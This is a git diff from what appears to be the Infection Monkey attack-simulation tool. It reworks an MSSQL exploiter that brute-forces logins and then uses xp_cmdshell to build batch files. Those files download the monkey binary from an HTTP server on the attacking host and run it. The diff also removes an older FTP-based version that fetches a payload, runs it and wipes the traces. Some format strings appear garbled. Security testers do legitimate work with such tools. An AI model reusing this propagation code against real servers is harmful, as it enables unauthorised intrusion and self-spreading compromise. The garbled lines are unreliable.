diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 50ee2c060..b9a1728f3 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -104,8 +104,8 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" - dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" + dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 7ad23fa7b..d9eaefa7c 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -24,8 +24,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", monkey_dir_linux = '/tmp/monkey_dir', diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 2e8bf6c90..5286252ed 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,12 +1,15 @@ import os import logging - +from time import sleep import pymssql +import textwrap -from infection_monkey.exploit import HostExploiter, mssqlexec_utils +from infection_monkey.exploit import HostExploiter, tools from common.utils.exploit_enum import ExploitType - -__author__ = 'Maor Rayzin' +from infection_monkey.exploit.tools import HTTPTools +from infection_monkey.config import WormConfiguration +from infection_monkey.model import DROPPER_ARG +from infection_monkey.exploit.tools import get_monkey_dest_path LOG = logging.getLogger(__name__) @@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 + # Time in seconds to wait between MSSQL queries. + QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') - DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' + # Temporary file that saves commands for monkey's download and execution. + TMP_FILE_NAME = 'tmp_monkey.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) - self.attacks_list = [mssqlexec_utils.CmdShellAttack] - - def create_payload_file(self, payload_path): - """ - This function creates dynamically the payload file to be transported and ran on the exploited machine. - :param payload_path: A path to the create the payload file in - :return: True if the payload file was created and false otherwise. - """ - try: - with open(payload_path, 'w+') as payload_file: - payload_file.write('dir C:\\') - return True - except Exception as e: - LOG.error("Payload file couldn't be created", exc_info=True) - return False def exploit_host(self): - """ - Main function of the mssql brute force - Return: - True or False depends on process success - """ + # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) - payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ - else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN - - if not self.create_payload_file(payload_path): - return False - if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, - payload_path): - LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) - return True - else: + if not cursor: LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) return False - def handle_payload(self, cursor, payload): + # Get monkey exe for host and it's path + src_path = tools.get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + dst_path = get_monkey_dest_path(http_path) + tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME) + + # Create monkey dir. + commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows] + MSSQLExploiter.execute_command(cursor, commands) + + # Form download command in a file + commands = [ + "xp_cmdshell \"%s\"" % tmp_file_path, + "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), + "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + MSSQLExploiter.execute_command(cursor, commands) + MSSQLExploiter.run_file(cursor, tmp_file_path) + + # Form monkey's command in a file + monkey_args = tools.build_monkey_commandline(self.host, + tools.get_monkey_depth() - 1, + dst_path) + monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) + for part in textwrap.wrap(monkey_args, 40)] + commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] + commands.extend(monkey_args) + MSSQLExploiter.execute_command(cursor, commands) + MSSQLExploiter.run_file(cursor, tmp_file_path) + + return True + + @staticmethod + def run_file(cursor, file_path): + command = ["exec xp_cmdshell \"%s\"" % file_path] + return MSSQLExploiter.execute_command(cursor, command) + + @staticmethod + def execute_command(cursor, cmds): """ - Handles the process of payload sending and execution, prepares the attack and details. - - Args: - cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. - payload (string): Payload path - - Return: - True or False depends on process success + Executes commands on MSSQL server + :param cursor: MSSQL connection + :param cmds: list of commands in MSSQL syntax. + :return: True if successfully executed, false otherwise. """ + try: + # Running the cmd on remote host + for cmd in cmds: + cursor.execute(cmd) + sleep(MSSQLExploiter.QUERY_BUFFER) + except Exception as e: + LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) + return False + return True - chosen_attack = self.attacks_list[0](payload, cursor, self.host) - - if chosen_attack.send_payload(): - LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) - if chosen_attack.execute_payload(): - LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) - chosen_attack.cleanup_files() - return True - else: - LOG.error("Payload: {0} couldn't be executed".format(payload)) - else: - LOG.error("Payload: {0} couldn't be sent to host".format(payload)) - - chosen_attack.cleanup_files() - return False - - def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + def brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. Main loop starts here. @@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter): Args: host (str): Host ip address port (str): Tcp port that the host listens to - payload (str): Local path to the payload users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with Return: @@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter): 'using user: {1}, password: {2}'.format(host, user, password)) self.report_login_attempt(True, user, password) cursor = conn.cursor() - - # Handles the payload and return True or False - if self.handle_payload(cursor, payload): - LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) - return True - else: - LOG.warning("user: {0} and password: {1}, " - "was able to connect to host: {2} but couldn't handle payload: {3}" - .format(user, password, host, payload)) + return cursor except pymssql.OperationalError: # Combo didn't work, hopping to the next one pass LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return False + return None diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py deleted file mode 100644 index 51293dfe3..000000000 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ /dev/null @@ -1,208 +0,0 @@ -import os -import multiprocessing -import logging - -import pymssql - -from infection_monkey.exploit.tools import get_interface_to_target -from pyftpdlib.authorizers import DummyAuthorizer -from pyftpdlib.handlers import FTPHandler -from pyftpdlib.servers import FTPServer -from time import sleep - - -__author__ = 'Maor Rayzin' - - -FTP_SERVER_PORT = 1026 -FTP_SERVER_ADDRESS = '' -FTP_SERVER_USER = 'brute' -FTP_SERVER_PASSWORD = 'force' -FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/') -FTP_WORK_DIR_LINUX = '/tmp/' - -LOG = logging.getLogger(__name__) - - -class FTP(object): - - """Configures and establish an FTP server with default details. - - Args: - user (str): User for FTP server auth - password (str): Password for FTP server auth - working_dir (str): The local working dir to init the ftp server on. - """ - - def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD): - """Look at class level docstring.""" - self.dst_ip = host.ip_addr - self.user = user - self.password = password - self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS - - def run_server(self): - - """ Configures and runs the ftp server to listen forever until stopped. - """ - - # Defining an authorizer and configuring the ftp user - authorizer = DummyAuthorizer() - authorizer.add_user(self.user, self.password, self.working_dir, perm='elr') - - # Normal ftp handler - handler = FTPHandler - handler.authorizer = authorizer - - address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT) - - # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword - self.server = FTPServer(address, handler) - - # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I - # multiproccess is being used here. - self.server.serve_forever() - - def stop_server(self): - # Stops the FTP server and closing all connections. - self.server.close_all() - - -class AttackHost(object): - """ - This class acts as an interface for the attacking methods class - - Args: - payload_path (str): The local path of the payload file - """ - - def __init__(self, payload_path): - self.payload_path = payload_path - - def send_payload(self): - raise NotImplementedError("Send function not implemented") - - def execute_payload(self): - raise NotImplementedError("execute function not implemented") - - -class CmdShellAttack(AttackHost): - - """ - This class uses the xp_cmdshell command execution and will work only if its available on the remote host. - - Args: - payload_path (str): The local path of the payload file - cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. - host (model.host.VictimHost): Host this attack is going to target - - """ - - def __init__(self, payload_path, cursor, host): - super(CmdShellAttack, self).__init__(payload_path) - self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host) - self.cursor = cursor - self.attacker_ip = get_interface_to_target(host.ip_addr) - - def send_payload(self): - """ - Sets up an FTP server and using it to download the payload to the remote host - - Return: - True if payload sent False if not. - """ - - # Sets up the cmds to run - shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ - echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) - shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) - shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ - .format(self.payload_path) - shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ - shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] - - # Checking to see if ftp server is up - if self.ftp_server_p and self.ftp_server: - try: - # Running the cmd on remote host - for cmd in shellcmds: - self.cursor.execute(cmd) - sleep(0.5) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) - self.ftp_server_p.terminate() - return False - return True - else: - LOG.error("Couldn't establish an FTP server for the dropout") - return False - - def execute_payload(self): - - """ - Executes the payload after ftp drop - - Return: - True if payload was executed successfully, False if not. - """ - - # Getting the payload's file name - payload_file_name = os.path.split(self.payload_path)[1] - - # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. - shellcmd = """DECLARE @i INT \ - EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ - SELECT @i """.format(payload_file_name) - - try: - # Executing payload on remote host - LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) - self.cursor.execute(shellcmd) - if self.cursor.fetchall()[0][0] == 0: - # Success - self.ftp_server_p.terminate() - LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) - return True - else: - LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) - self.ftp_server_p.terminate() - return False - - except pymssql.OperationalError as e: - LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) - self.ftp_server_p.terminate() - return False - - def cleanup_files(self): - """ - Cleans up the folder with the attack related files (C:\\tmp by default) - :return: True or False if command executed or not. - """ - cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ - try: - self.cursor.execute(cleanup_command) - LOG.info('Attack files cleanup command has been sent.') - return True - except Exception as e: - LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) - return False - - def __init_ftp_server(self, host): - """ - Init an FTP server using FTP class on a different process - - Return: - ftp_s: FTP server object - p: the process obj of the FTP object - """ - - try: - ftp_s = FTP(host) - multiprocessing.log_to_stderr(logging.DEBUG) - p = multiprocessing.Process(target=ftp_s.run_server) - p.start() - LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) - return ftp_s, p - except Exception as e: - LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) - return None, None diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index df7bcf820..d741727ce 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from infection_monkey.exploit.tools import get_interface_to_target __author__ = 'itamar' @@ -39,6 +40,7 @@ class InfectionMonkey(object): self._exploiters = None self._fingerprint = None self._default_server = None + self._default_server_port = None self._depth = 0 self._opts = None self._upgrading_to_64 = False @@ -59,6 +61,10 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -172,8 +178,9 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: + machine.set_default_server(get_interface_to_target(machine.ip_addr) + + (':'+self._default_server_port if self._default_server_port else '')) LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) - machine.set_default_server(self._default_server) # Order exploits according to their type self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index d589ac98b..999f4d7fc 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -2,7 +2,6 @@ import logging import socket import struct import time -from difflib import get_close_matches from threading import Thread from infection_monkey.model import VictimHost @@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time +from infection_monkey.exploit.tools import get_interface_to_target __author__ = 'hoffer' @@ -148,9 +148,9 @@ class MonkeyTunnel(Thread): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if '?' == search: - ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips + ip_match = get_interface_to_target(address[0]) if ip_match: - answer = '%s:%d' % (ip_match[0], self.local_port) + answer = '%s:%d' % (ip_match, self.local_port) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) elif '+' == search: @@ -187,8 +187,8 @@ class MonkeyTunnel(Thread): if not self.local_port: return - ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips - host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) + ip_match = get_interface_to_target(host.ip_addr) + host.default_tunnel = '%s:%d' % (ip_match, self.local_port) def stop(self): self._stopped = True diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 67b1c3cbd..a79d38490 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -37,8 +37,8 @@ class WindowsUpgrader(object): with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - except (IOError, AttributeError): - LOG.error("Failed to download the Monkey to the target path.") + except (IOError, AttributeError) as e: + LOG.error("Failed to download the Monkey to the target path: %s." % e) return monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 5e423197f..95d40d577 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -558,14 +558,14 @@ SCHEMA = { "dropper_target_path_win_32": { "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey32.exe", + "default": "C:\\Windows\\temp\\monkey32.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " "(32bit)" }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", - "default": "C:\\Windows\\monkey64.exe", + "default": "C:\\Windows\\temp\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine " "(64 bit)" },